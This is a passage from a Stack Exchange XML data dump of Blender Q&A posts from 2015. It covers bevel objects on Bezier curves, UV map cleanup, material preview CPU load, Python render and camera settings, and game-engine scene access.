/&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this example I have a folder on that path called &lt;code&gt;scripts&lt;/code&gt;, inside scripts i have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;scripts/addons&#xA;scripts/addons_contrib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is where I stick the addons (manually) that I always want to have. And this manually setting of the scripts folder is one reason I don't update every day. It could be scripted of course.. :)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="15924" LastEditDate="2020-10-20T14:01:15.860" LastActivityDate="2020-10-20T14:01:15.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28899" PostTypeId="1" AcceptedAnswerId="28901" CreationDate="2015-04-24T10:43:24.690" Score="4" ViewCount="264" Body="&lt;p&gt;I have a large animation (over 200 objects) that I have been working on for a while. In the animation I use a great number of tubes, made simply by defining Bezier Circles as bevel objects for Bezier Curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the Curves share Circles as bevel objects, and I'm now starting to realise that this is a problem, since I would very much like to parent each Circle to its belonging Curve and hide it, for the sake of order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than having to manually inspect every Curve and take note of which Circle &lt;em&gt;it uses&lt;/em&gt;, I would like to do the reverse operation, i.e. go through every Circle and take note of which Curves that &lt;em&gt;uses it&lt;/em&gt; as bevel object. This is nice because it would allow me to duplicate Circles used multiple times and parent each new version to a Curve. Can this be done? If not in the GUI, then possibly programmatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL:DR&lt;/strong&gt;&#xA;I want to go through each Bezier Circle and see which objects that uses it as bevel object, so that I can duplicate a Circle if it is used by multiple objects, and parent each new Circle to its belonging object, such that no two objects share the same Circle as bevel object.&lt;/p&gt;&#xA;" OwnerUserId="13958" LastEditorUserId="13958" LastEditDate="2015-04-25T19:43:10.883" LastActivityDate="2015-04-25T19:43:10.883" Title="How to tell which objects are using a Bezier Circle as bevel object?" Tags="&lt;scripting&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28900" PostTypeId="2" ParentId="28899" CreationDate="2015-04-24T11:05:19.257" Score="4" Body="&lt;p&gt;I think something like this might work, but for your own sanity run this only a copy of your scene, or a small representative version of your scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This finds the bevel_object&lt;/li&gt;&#xA;&lt;li&gt;if the bevel Object is used by another BezierCurve it duplicates the bevel Object and associated Curve data, &lt;/li&gt;&#xA;&lt;li&gt;then uses the duplicate as the replacement bevel Object. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In code form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;bevel_names = set()&#xA;for obj in bpy.data.objects:&#xA;&#xA;    if obj.type == 'CURVE':&#xA;        name = obj.name&#xA;        b_obj = obj.data.bevel_object&#xA;        print(' {0} -&amp;gt; {1} '.format(name, str(b_obj)))&#xA;&#xA;        if b_obj:&#xA;            if b_obj.name in bevel_names:&#xA;                dup = b_obj.copy()&#xA;                dup.data = b_obj.data.copy()&#xA;                scene.objects.link(dup)&#xA;                obj.data.bevel_object = dup&#xA;                bevel_names.add(dup.name)&#xA;                # dup.parent = obj&#xA;            else:&#xA;                bevel_names.add(b_obj.name)&#xA;                #_obj.parent = obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the bezierCurves, it doesn't appear possible to parent the bevel object to them. A solution would be to make an empty for every BezierCurve and parent both BezierCurve and bevel Object to the empty.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-24T12:46:24.930" LastActivityDate="2015-04-24T12:46:24.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28901" PostTypeId="2" ParentId="28899" CreationDate="2015-04-24T11:12:06.740" Score="4" Body="&lt;p&gt;in this script :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;loop through curves  &lt;/li&gt;&#xA;&lt;li&gt;duplicate their bevel object and assign it to&lt;/li&gt;&#xA;&lt;li&gt;then remove original bevel objects&lt;/li&gt;&#xA;&lt;li&gt;parent each bevel object to its respective curve, then hide it (OP Edit)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;originals = []&#xA;for obj in bpy.data.objects :&#xA;    if obj.type == 'CURVE':&#xA;        b_obj = obj.data.bevel_object&#xA;        if  b_obj:&#xA;            originals.append(b_obj)&#xA;            bpy.ops.object.select_all(action='DESELECT')&#xA;            b_obj.select = True&#xA;            bpy.ops.object.duplicate()&#xA;            new_b_obj = bpy.context.selected_objects[0]&#xA;            new_b_obj.name = obj.name +&quot;_bevel&quot;&#xA;            obj.data.bevel_object = new_b_obj&#xA;&#xA;print(originals)&#xA;#cleaning&#xA;for obj in set(originals):&#xA;    bpy.context.scene.objects.unlink(obj)&#xA;    bpy.data.objects.remove(obj)&#xA;&#xA;#parent each bevel object to its curve and hide it (OP Edit)&#xA;for obj in bpy.data.objects:&#xA;if obj.type == 'CURVE':&#xA;    bevel_obj = obj.data.bevel_object&#xA;    if bevel_obj != None:&#xA;        bevel_obj.parent = obj&#xA;        bevel_obj.hide = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You wont have extra objects, and each bevel object will be named after its user.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="13958" LastEditDate="2015-04-24T15:51:20.590" LastActivityDate="2015-04-24T15:51:20.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28902" PostTypeId="1" CreationDate="2015-04-24T11:49:16.503" Score="4" ViewCount="2858" Body="&lt;p&gt;I &lt;a href=&quot;https://blender.stackexchange.com/questions/28848/paint-directly-on-model-or-redo-uv-unwrap-for-new-faces&quot;&gt;asked a question yesterday&lt;/a&gt; regarding texturing, and now I've gone through the work of unwrapping parts of the mesh and texturing them separately. It looks beautiful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7Gnj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have the problem of a UV map that is kind of a mess. Several textures are used, and each is derived from its own image. The exception is a texture image that was generated with photogrammetry software, which is a composite of image textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s7kuN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I look at the UV map it is a huge mess with overlapping islands, though referenced to different images. I've tried to bring it into other software (Meshlab and Mudbox) and I get texture errors. Is there a way to easily sort this based on image assignment? Alternatively, is there a way to automatically generate a separate and single texture file of combined images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted to bake textures with no success--granted I have no idea what I'm doing.&lt;/p&gt;&#xA;" OwnerUserId="13943" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-05-17T13:02:47.900" Title="Sort out a complex UV map for a complex mesh" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28903" PostTypeId="2" ParentId="28572" CreationDate="2015-04-24T12:38:03.717" Score="1" Body="&lt;p&gt;Currently there is no way to do this. However you would be able to do this via python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont think the ffmpeg libraries (which is what blender uses to read and write video and audio files) have python bindings included with blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To write a python script to do this, you will need to use another python library, such as &lt;a href=&quot;http://ttps://pypi.python.org/pypi/pipeffmpeg/&quot; rel=&quot;nofollow&quot; title=&quot;pipeffmpeg&quot;&gt;pipeffmpeg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-04-24T12:38:03.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28904" PostTypeId="1" AcceptedAnswerId="28909" CreationDate="2015-04-24T13:12:15.063" Score="4" ViewCount="262" Body="&lt;p&gt;Recently I have been working on a material library, and when I am working on a complex shader, the preview is updating several times a second. I find that after a while of intense editing and tweaking, my CPU starts to overheat. I am curious if CPU still is used for the material preview even though I have enabled GPU render, or if it is from recalculating the scene data that many times. If it is the latter, are there any solutions?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-24T15:18:31.480" Title="What compute device does the material preview use to render?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28905" PostTypeId="1" CreationDate="2015-04-24T13:25:49.773" Score="2" ViewCount="1545" Body="&lt;p&gt;Is there a way to unwrap the UV's so that they match the coordinates of their respective vertices in the XY, XZ and YZ plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a tiling texture and all my faces are aligned to either the XY, XZ or YZ plane. So, I basically want the texture tiles each unit in either direction.&lt;/p&gt;&#xA;" OwnerUserId="13960" LastEditorUserId="2217" LastEditDate="2015-04-24T16:33:19.253" LastActivityDate="2015-04-24T18:17:30.157" Title="set the UVs to their vertices's coordinates?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28906" PostTypeId="2" ParentId="28835" CreationDate="2015-04-24T13:34:25.977" Score="8" Body="&lt;p&gt;The laplacian Lightning generator produces a set of Mesh objects. At its most basic setting, using two empties (origin and ground). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7VGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Single Mesh tickbox to make sure it's all one mesh, you lose flexibility, but the sake of example that method is probably handiest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OvtNg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can add a skin modifier to the mesh. By default the skinned edges is probably not the right size, you enter edit mode on the mesh, and go to vertex selection mode, select all vertices, then &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; to scale down the radius of the skin.&lt;/li&gt;&#xA;&lt;li&gt;Alternatively convert it to a Curve object (it will convert each edge to a straight section Curve type)  (&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &gt; Curve From Mesh)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both solutions will render fine in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3dARf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the animation, perhaps you might use a Build Modifier and tick reverse. Remember Light is a really fast phenomenum, often all we see is the trail of air burning and extinguishing rather fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultra Slowmotion: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BiG41.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it might have been better to subdivide the generated mesh a few times..now it exhibits jumps.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credits to &lt;a href=&quot;http://chat.stackexchange.com/users/87375&quot;&gt;gandalf3&lt;/a&gt; for this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zp8Mn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alternatively&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(unless you need to generate a tonne of different strikes) Why not trace a photograph and use artistic discretion to 3d spatialize it, and animate that strike:)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-09-05T22:21:15.623" LastActivityDate="2015-09-05T22:21:15.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28907" PostTypeId="1" CreationDate="2015-04-24T14:43:48.630" Score="1" ViewCount="297" Body="&lt;p&gt;So I am making this mesh in blender and theres a weird deformation near the neck. It doesnt appear in edit mode but when I switch to object mode it appears. It looks like an error that would occur if I modeled the head seperately and joined it to the body mesh but I didn't model it seperately. Hers some images to help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/twGlyjS.png&quot; alt=&quot;object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/qRA9PZ6.png&quot; alt=&quot;edit mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7656" LastActivityDate="2015-04-24T14:43:48.630" Title="Why does this mesh deform when I go into object mode?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28908" PostTypeId="1" CreationDate="2015-04-24T15:03:36.000" Score="4" ViewCount="541" Body="&lt;p&gt;Imagine you want to edit a documentary film in Blender and you have hundreds of 4K video files. Generating multiple proxies at once is possible now in Blender but challenging, you cannot import 200 files in the VSE and ask Blender to generate proxies, if you do so it will crash. You can only do it little by little and it is very time consuming. The best solution would be to generate proxy files outside of Blender in a batch way and back in Blender link all the high res files to the low res files. The proxy custom directory is made for this but one needs to click on &quot;rebuild proxy&quot; I understand? When you click on &quot;rebuild proxy&quot;, although you've already generated proxies, Blender will take ages to connect the high res files in the VSE to the proxies you've already generated. As if Blender is doing the work again. Am I doing something wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2015-04-24T22:42:41.487" LastActivityDate="2015-12-21T02:48:59.877" Title="VSE proxy custom directory" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28909" PostTypeId="2" ParentId="28904" CreationDate="2015-04-24T15:18:31.480" Score="3" Body="&lt;p&gt;By using GPU-Z to see gpu load its easy to see that material preview &lt;strong&gt;does not&lt;/strong&gt; use gpu (0% usage). Usage of CPU on the other hand rises when preview updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is also &lt;strong&gt;how&lt;/strong&gt; the material preview is coded.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;it refreshes with re-scale instead of just computing more samples or only downsizing the preview.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it refreshes not smartly but on every &quot;change&quot;. When some value is clicked but not changed, when new node is added but not connected. When you draw line from output and then cancel etc. this could go on and on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lot of things blender already has could use more attention from devs..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-24T15:18:31.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28910" PostTypeId="2" ParentId="18047" CreationDate="2015-04-24T15:33:42.777" Score="3" Body="&lt;p&gt;I'm sorry to say that this feature, which was started on in 2011, was &quot;nearly complete&quot; in 2013 yet &lt;a href=&quot;https://blender.stackexchange.com/a/3707/240&quot;&gt;still seems like a distant dream&lt;/a&gt;. Some of the changes necessary for these updates were dependent on &lt;a href=&quot;http://code.blender.org/2015/02/blender-dependency-graph-branch-for-users/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the dependency graph update&lt;/a&gt;, though. The depsgraph branch &lt;em&gt;has&lt;/em&gt; had a lot of progress lately. Perhaps reading about dependencies will explain &lt;em&gt;why&lt;/em&gt; things like this don't presently work out of the box; e.g. why you still can't &quot;animate everything&quot; as the 2.5 project advertised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest update I can find in the same vein is that Lukas wrote a patch that allows you to &lt;a href=&quot;http://code.blender.org/2012/05/particle-info-node/&quot; rel=&quot;nofollow noreferrer&quot;&gt;use a particle's age to update a shader&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing you can do to participate right now with in-progress projects like this is to get in contact with the specific developers that are working on the relevant infrastructures, and show them the problem you're trying to solve. Let them know you're interested, try their test branches, test out experimental versions, etc, and if you're feeling bold,  look at their code.&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-24T15:33:42.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28911" PostTypeId="1" AcceptedAnswerId="28912" CreationDate="2015-04-24T17:08:21.740" Score="-1" ViewCount="202" Body="&lt;p&gt;I am processing blender file using python script passed in -P cmd argument&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to blender so I am not familiar with all bpy&#xA;objects/properties. Can you help me with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can I get current rendering tile and estimated time in cycles&#xA;rendering engine? I know there is render_stats handler, and I even&#xA;found function BlenderSession::get_progress in sources, but I am still&#xA;puzzled how can I get this info from python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I get list of cameras available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) How can I setup active camera for rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) How can I get/set number of samples when rendering?&lt;/p&gt;&#xA;" OwnerUserId="13964" LastActivityDate="2015-04-24T17:21:24.387" Title="Couple of questions about rendering settings using python scripts" Tags="&lt;python&gt;&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28912" PostTypeId="2" ParentId="28911" CreationDate="2015-04-24T17:21:24.387" Score="2" Body="&lt;p&gt;To know how to access properties in python just hover the mouse over the property in the UI and read the tooltip&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# render tiles&#xA;scene.render.tile_x,&#xA;scene.render.tile_y,&#xA;&#xA;#camera's list&#xA;cam_list = [cam for cam in bpy.data.object if object.type == 'CAMERA']&#xA;&#xA;#set camera&#xA;scene.camera = cam_list[0]&#xA;#or&#xA;scene.camera = bpy.context.object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-24T17:21:24.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28913" PostTypeId="1" CreationDate="2015-04-24T17:33:47.173" Score="4" ViewCount="9331" Body="&lt;p&gt;This may be a dumb question, but did Loop Cut and Slide get removed with Blender 2.74? I have 2.73 and 2.74 both on my computer, and it works fine on the old one, but when I go to User Preferences and try to change the key it's mapped to in the new one, it's just not listed at all. I tried resetting to factory defaults and uninstalling/reinstalling, but the option still isn't there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should mention my OS is Windows 7 64-bit with the installed version of Blender, not the portable exe. When I try to use Ctrl + R on a mesh, nothing happens. I've attached a screenshot of what happens when I go to Input prefs and search for actions using the shortcut &quot;Ctrl R&quot; in 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZDHJA.png&quot; alt=&quot;Screeenshot of Blender 2.73 showing the option to map &amp;quot;Loop Cut and Slide&amp;quot; to a key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WpPNO.png&quot; alt=&quot;Screeenshot of Blender 2.74 showing no option for &amp;quot;Loop Cut and Slide&amp;quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Ijdc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13965" LastEditorUserId="13965" LastEditDate="2015-04-24T18:28:38.030" LastActivityDate="2017-04-25T07:48:59.297" Title="Loop Cut and Slide in Blender 2.74" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="28914" PostTypeId="2" ParentId="28902" CreationDate="2015-04-24T17:45:45.550" Score="4" Body="&lt;p&gt;Select all the UVs in UV/Image Editor, from the UVs menu select &lt;strong&gt;UVs From Islands&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42WRf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in Object Data tab create a new UV Map and unwrap the model. While all the UVs are selected, create an image in the new UV Map where the new texture will be baked and keep this UVMap selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/towKh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make sure you have a material and the original texture is applied there using original UVMap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Wdm4.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on Render tab and in bake menu select textures and click Bake button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rOLaa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way as described, it is possible to bake multiple materials that are using same or different UV Maps, to a new single or multiple UV Maps, each with separate texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The described above steps are aplicable for Blender Render internal engine. Workflow for Cycles is a bit more tricky though is well depicted here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/15510/possible-to-bake-texture-to-new-uv-map&quot;&gt;Possible to bake texture to new UV map?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-05-17T13:02:47.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28915" PostTypeId="2" ParentId="28913" CreationDate="2015-04-24T18:07:35.617" Score="2" Body="&lt;p&gt;In the Input tab, change the search type to &lt;em&gt;Key-Binding&lt;/em&gt; and type &lt;code&gt;Ctrl R&lt;/code&gt;. You should now see a result similar to this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S53CZ.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command you are looking for is the second from the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this result with Blender 2.74 on Windows. Note that if this doesn't bring it up, you must have done something specific to disable it. Either that or it is not supported for your specific OS.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-24T18:07:35.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28916" PostTypeId="2" ParentId="28781" CreationDate="2015-04-24T18:09:43.740" Score="1" Body="&lt;p&gt;You can access and alter the properties of the constraints of an object, all constraints are listed in &lt;code&gt;object.constraints&lt;/code&gt;, access each constraint by its name or type and of course the index&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cam = scene.camera&#xA;# if you are sure the constraint exist and has the default name&#xA;fol_path = cam.constraints['Follow Path']&#xA;&#xA;fol_path.forward_axis = 'TRACK_NEGATIVE_Z'&#xA;fol_path.up_axis = 'UP_Y'&#xA;&#xA;# to avoid errors in case it doesn't exist or has another name&#xA;for cons in cam.constraints :&#xA;    if cons.type == 'FOLLOW_PATH':&#xA;        cons.forward_axis = 'TRACK_NEGATIVE_Z'&#xA;        cons.up_axis = 'UP_Y'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-24T18:09:43.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28917" PostTypeId="1" CreationDate="2015-04-24T18:10:07.960" Score="5" ViewCount="1797" Body="&lt;p&gt;I'm trying to get an &lt;strong&gt;accurate index pass&lt;/strong&gt; for compositing. My geometry &lt;em&gt;(a window in this case)&lt;/em&gt; consists of straight lines and it would be nice to have a perfect mask for color correction. As you can see &lt;strong&gt;Anti-Aliasing is enabled&lt;/strong&gt;, but there are still some weird pixels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjqZd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until now my workaround was to &lt;strong&gt;blur the image&lt;/strong&gt;, but in this case straight lines are key to work with. How to achieve this? Is there a render &lt;strong&gt;setting to prevent the noise&lt;/strong&gt; or make it less noisy?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-04-27T03:59:20.833" Title="Accurate IndexOB and IndexMA passes" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;masking&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28918" PostTypeId="1" AcceptedAnswerId="28920" CreationDate="2015-04-24T18:11:20.697" Score="4" ViewCount="2620" Body="&lt;p&gt;i want to get object from other scene like this script&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;scene = GameLogic.getCurrentScene()&lt;/p&gt;&#xA;&lt;p&gt;player=scene.objects['player']&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;for example from scene named &amp;quot;Hud&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;how can i do it&lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-24T18:31:07.413" Title="get object from other scene" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28919" PostTypeId="2" ParentId="28905" CreationDate="2015-04-24T18:17:30.157" Score="2" Body="&lt;p&gt;To get your image to display once on each face, select the entire mesh and press &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Reset&lt;/em&gt;. Each face will now be mapped to the image bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;UV/Image Editor&lt;/em&gt; header turn on &lt;em&gt;UV and Edit mode selection sync&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rxWad.png&quot; alt=&quot;UV and Edit mode selection sync&quot;&gt;&lt;br&gt;&#xA;Now in the 3D view you can select any faces with the texture on the wrong way, and rotate them in the UV Editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVZtB.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-04-24T18:17:30.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28920" PostTypeId="2" ParentId="28918" CreationDate="2015-04-24T18:31:07.413" Score="7" Body="&lt;p&gt;the scene has to be loaded to have access to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# to load the scene&#xA;bge.logic.addScene('Hud')&#xA;&#xA;#find the scene and object&#xA;scenes = bge.logic.getSceneList()&#xA;for scene in scenes :&#xA;    if scene.name == 'Hud':&#xA;        player = scene.objects['player']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-24T18:31:07.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28921" PostTypeId="2" ParentId="28883" CreationDate="2015-04-24T18:44:42.983" Score="2" Body="&lt;p&gt;For your particular situation where you have exactly the same object, I will recommend copying the object data. Doing so will copy any materials, and UV maps to all the cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;(as suggested by &lt;a href=&quot;https://blender.stackexchange.com/a/28884/2217&quot;&gt;Denis&lt;/a&gt;)&lt;/sub&gt;&lt;br&gt;&#xA;First select one of your cubes (say the top corner.) UV unwrap that cube, and create the material. Now select all the cubes, keeping the UV unwrapped cube as the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt;, and then &quot;link&quot; the data. 3D view header &lt;em&gt;Object&lt;/em&gt; &gt; &lt;em&gt;Make Links...&lt;/em&gt; &gt; &lt;em&gt;Object Data&lt;/em&gt;, or by simply pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; then &lt;kbd&gt;D&lt;/kbd&gt;.&lt;br&gt;&#xA;Now all your cubes share the same mesh data so if you make any changes to one, all get changed (same as if you had duplicated them with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Your other option is to make a material that is not depend on a UV map, then just assign the materiel to all the cubes with 